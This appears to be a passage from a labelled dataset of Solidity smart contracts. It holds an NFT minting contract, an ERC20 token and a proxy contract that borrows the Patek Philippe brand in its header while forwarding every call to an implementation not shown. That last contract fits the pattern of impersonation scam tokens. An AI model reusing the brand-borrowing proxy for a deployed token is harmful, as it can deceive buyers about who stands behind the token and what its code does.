bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
contract Schrootants is
Initializable,
UUPSUpgradeable,
OwnableUpgradeable,
ERC721Upgradeable,
ReentrancyGuardUpgradeable
{
using StringsUpgradeable for uint256;
// Metadata base URI
string internal baseURI;
// Metadata Default URI for unrevealed NFTs
string internal defaultURI;
// Maximum mint count
uint256 public maxMint;
uint256 public communityMint;
// Treasury Address
address payable treasury;
// Switch to enable mint
bool public isMintEnabled;
// Switch to enable burn
bool public isBurnEnabled;
// Switch to reveal nft
bool public revealed;
// Price per NFT
uint256 public mintPrice;
// Token counter
using CountersUpgradeable for CountersUpgradeable.Counter;
CountersUpgradeable.Counter private tokenIdCounter;
// Mint event
event Mint(address indexed account, uint256 indexed count);
function initialize(
string memory _defaultURI,
address payable _treasury,
uint256 _maxMint,
uint256 _communityMint,
uint256 _mintPrice
) public initializer {
__UUPSUpgradeable_init();
__Ownable_init();
__ERC721_init("Schrootant", "SCHROOTANT");
__ReentrancyGuard_init();
defaultURI = _defaultURI;
treasury = _treasury;
maxMint = _maxMint;
communityMint = _communityMint;
mintPrice = _mintPrice;
}
/**
* @dev Allows withdrawing the Ether in the contract to the treasury account.
*/
function withdraw() external {
require(
msg.sender == owner() || msg.sender == treasury,
"Caller is not owner or treasury"
);
payable(treasury).transfer(address(this).balance);
}
/**
* @dev Mint switch
*/
function setMintState(bool _state) external onlyOwner {
isMintEnabled = _state;
}
/**
* @dev Reveal NFTs : Updates reveal state and base URI
*/
function setReveal(bool _state, string memory _uri) external onlyOwner {
revealed = _state;
baseURI = _uri;
}
/**
* @dev Token burn switch
*/
function setBurnState(bool _isBurnEnabled) external onlyOwner {
isBurnEnabled = _isBurnEnabled;
}
/**
* @dev User mint
*/
function userMint(uint256 _count) external payable nonReentrant {
require(isMintEnabled, "Minting is not active at the moment.");
require(_count > 0, "Can't mint 0 tokens");
require(
tokenIdCounter.current() + communityMint + _count <= maxMint,
"Total mint exceeded"
);
require(
msg.value >= mintPrice * _count,
"Not enough Ether to claim the schrootants"
);
// Mint to user account
_mintToken(msg.sender, _count);
}
/**
* @dev Airdrop tokens
*/
function airdropTokens(address[] memory _adds) external onlyOwner {
require(_adds.length <= communityMint, "Exceeds community mint");
for (uint256 i = 0; i < _adds.length; i++) {
tokenIdCounter.increment();
communityMint--;
_safeMint(_adds[i], tokenIdCounter.current());
}
}
function burn(uint256 tokenId) external {
require(isBurnEnabled, "burning disabled");
require(
_isApprovedOrOwner(msg.sender, tokenId),
"not owner nor approved"
);
_burn(tokenId);
}
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256) {
return tokenIdCounter.current();
}
/**
* @dev Gets the URI for the NFT metadata of specified token ID.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
if (!revealed) {
return defaultURI;
}
string memory baseUri = _baseURI();
return
bytes(baseUri).length > 0
? string(abi.encodePacked(baseUri, tokenId.toString()))
: "";
}
/**
* @dev Internal function to mint tokens
*/
function _mintToken(address _to, uint256 _tokensCount) internal {
for (uint256 i = 0; i < _tokensCount; i++) {
tokenIdCounter.increment();
_safeMint(_to, tokenIdCounter.current());
}
emit Mint(_to, _tokensCount);
}
/**
* @dev For upgrading
*/
function _authorizeUpgrade(address newImplementation)
internal
override
onlyOwner
{}
/**
* @dev See {ERC721}.
*/
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
} | True | [
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102
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|
/**
Tsunamify Token contract
https://tsunamify.org
Twitter:
https://twitter.com/TsunamifyOrg
Discord:
https://discord.gg/tDFf93U
Telegram Discussion:
https://t.me/tsunamify
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// TsunamiToken with Governance.
contract TsunamiToken is ERC20("TsunamiToken", "TSU"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (TsunamiSurfer).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
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102
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|
// SPDX-License-Identifier: MIT
//
//
//
//
// .______ ___ .___________. _______ __ ___ .______ __ __ __ __ __ .______ .______ _______
// | _ \ / \ | || ____|| |/ / | _ \ | | | | | | | | | | | _ \ | _ \ | ____|
// | |_) | / ^ \ `---| |----`| |__ | ' / | |_) | | |__| | | | | | | | | |_) | | |_) | | |__
// | ___/ / /_\ \ | | | __| | < | ___/ | __ | | | | | | | | ___/ | ___/ | __|
// | | / _____ \ | | | |____ | . \ | | | | | | | | | `----.| | | | | | | |____
// | _| /__/ \__\ |__| |_______||__|\__\ | _| |__| |__| |__| |_______||__| | _| | _| |_______|
//
//
//
// Since its foundation in 1839, and without interruption, Patek Philippe has been designing,
// developing, building and assembling timepieces that are considered by experts to be the best in the world.
//
// Last independent, family-owned manufacturer to perpetuate the tradition of Genevan fine watchmaking without interruption since 1839.
//
//
// Website: https://www.patek.com/
// Twitter: https://twitter.com/patekphilippe
//
//
//
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract PatekPhilippeMetaverseToken {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
(address addr) = abi.decode(_a, (address));
StorageSlot.getAddressSlot(KEY).value = addr;
if (_data.length > 0) {
Address.functionDelegateCall(addr, _data);
}
}
function _beforeFallback() internal virtual {}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
